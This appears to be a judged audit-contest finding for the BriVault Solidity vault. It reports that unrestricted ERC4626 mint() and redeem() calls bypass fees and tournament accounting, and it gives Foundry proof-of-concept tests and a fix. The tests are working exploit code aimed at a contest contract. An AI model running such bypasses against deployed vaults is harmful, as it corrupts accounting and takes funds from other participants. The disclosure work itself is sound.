BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

User can call directly ERC4626 mint() and redeem() functions and bypass internal accounting

Description

  • The vault’s business logic expects users to interact through bespoke flows (deposit, joinEvent, cancelParticipation, withdraw) so that stakes, fees, participant lists, and winner-share accounting remain consistent.

  • Because BriVault inherits OpenZeppelin’s ERC4626, the public methods mint(shares, receiver) and redeem(shares, receiver, owner) are exposed and not overridden or gated. A user can call them directly to mint shares or redeem assets while bypassing participation fees, stakedAsset tracking, usersAddress/numberOfParticipants, and any event constraints. This breaks the vault’s internal accounting and lets users enter/exit positions outside the intended rules.

// Root cause: No overrides/restrictions on ERC4626 public entry points
// briVault.sol inherits ERC4626 but only customizes `deposit()` and `withdraw()`.
// Users can still call:
uint256 minted = briVault.mint(shares, receiver); // @> bypasses fee, stakedAsset, join logic
uint256 assets = briVault.redeem(shares, receiver, owner); // @> exits ignoring winner logic & timing

Risk

Likelihood: High

  • Wallets/UIs and savvy users commonly discover and use direct ERC4626 routes.

  • Since these functions are public and documented, this will occur during normal interaction, especially when gas‑optimizing or testing.

Impact: High

  • Fee bypass & accounting corruption: Users mint shares without paying the participation fee or updating stakedAsset, and redeem assets without respecting eventStartDate/eventEndDate, winnerSet, or didNotWin constraints—leading to economic leakage and broken tournament rules.

  • DoS / state inconsistency: Because mint/redeem don’t update usersAddress, totalParticipantShares, or per‑country aggregates, finalization math can be wrong, causing skewed payouts or failures.

Proof of Concept

  • Copy below tests to the `briVault.t.sol`


function test_userCanCallERC4626MintFunctionDirectly() public {
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
assertEq(0, briVault.balanceOf(user1));
console.log("Balance before mint:", briVault.balanceOf(user1));
console.log("Calling mint function directly to mint 1 ether worth of shares");
uint256 shares = briVault.mint(1 ether, user1);
// User now owns shares but no participation fee paid, no stakedAsset updated, no usersAddress entry.
assertEq(shares, briVault.balanceOf(user1));
console.log("Balance after mint:", briVault.balanceOf(user1));
vm.stopPrank();
}
function test_userCanCallERC4626RedeemFunctionDirectly() public {
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
// Deposit through the custom path to get shares
uint256 shares = briVault.deposit(5 ether, user1);
console.log("Balance before redeem:", briVault.balanceOf(user1));
console.log("Calling redeem function directly to redeem 1 ether worth of assets");
// Direct redeem bypasses winner checks, end date, and accounting hooks.
uint256 assets = briVault.redeem(1 ether, user1, user1);
assertEq(assets, 1 ether);
console.log("Balance after redeem:", briVault.balanceOf(user1));
// Shares reduced accordingly without touching tournament state.
assertEq(briVault.balanceOf(user1), shares - briVault.convertToShares(1 ether));
vm.stopPrank();
}

Recommended Mitigation

  • Lock down ERC4626 public routes.

@@
+ error erc4626DirectMintDisabled();
+ error erc4626DirectRedeemDisabled();
+
+ // Disable direct ERC4626 mint; require using `deposit` (enforces fee & accounting)
+ function mint(uint256 shares, address receiver) public override returns (uint256) {
+ revert erc4626DirectMintDisabled();
+ }
+
+ // Disable direct ERC4626 redeem; require using `withdraw` with winnerSet checks
+ function redeem(uint256 shares, address receiver, address owner) public override returns (uint256) {
+ revert erc4626DirectRedeemDisabled();
+ }
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!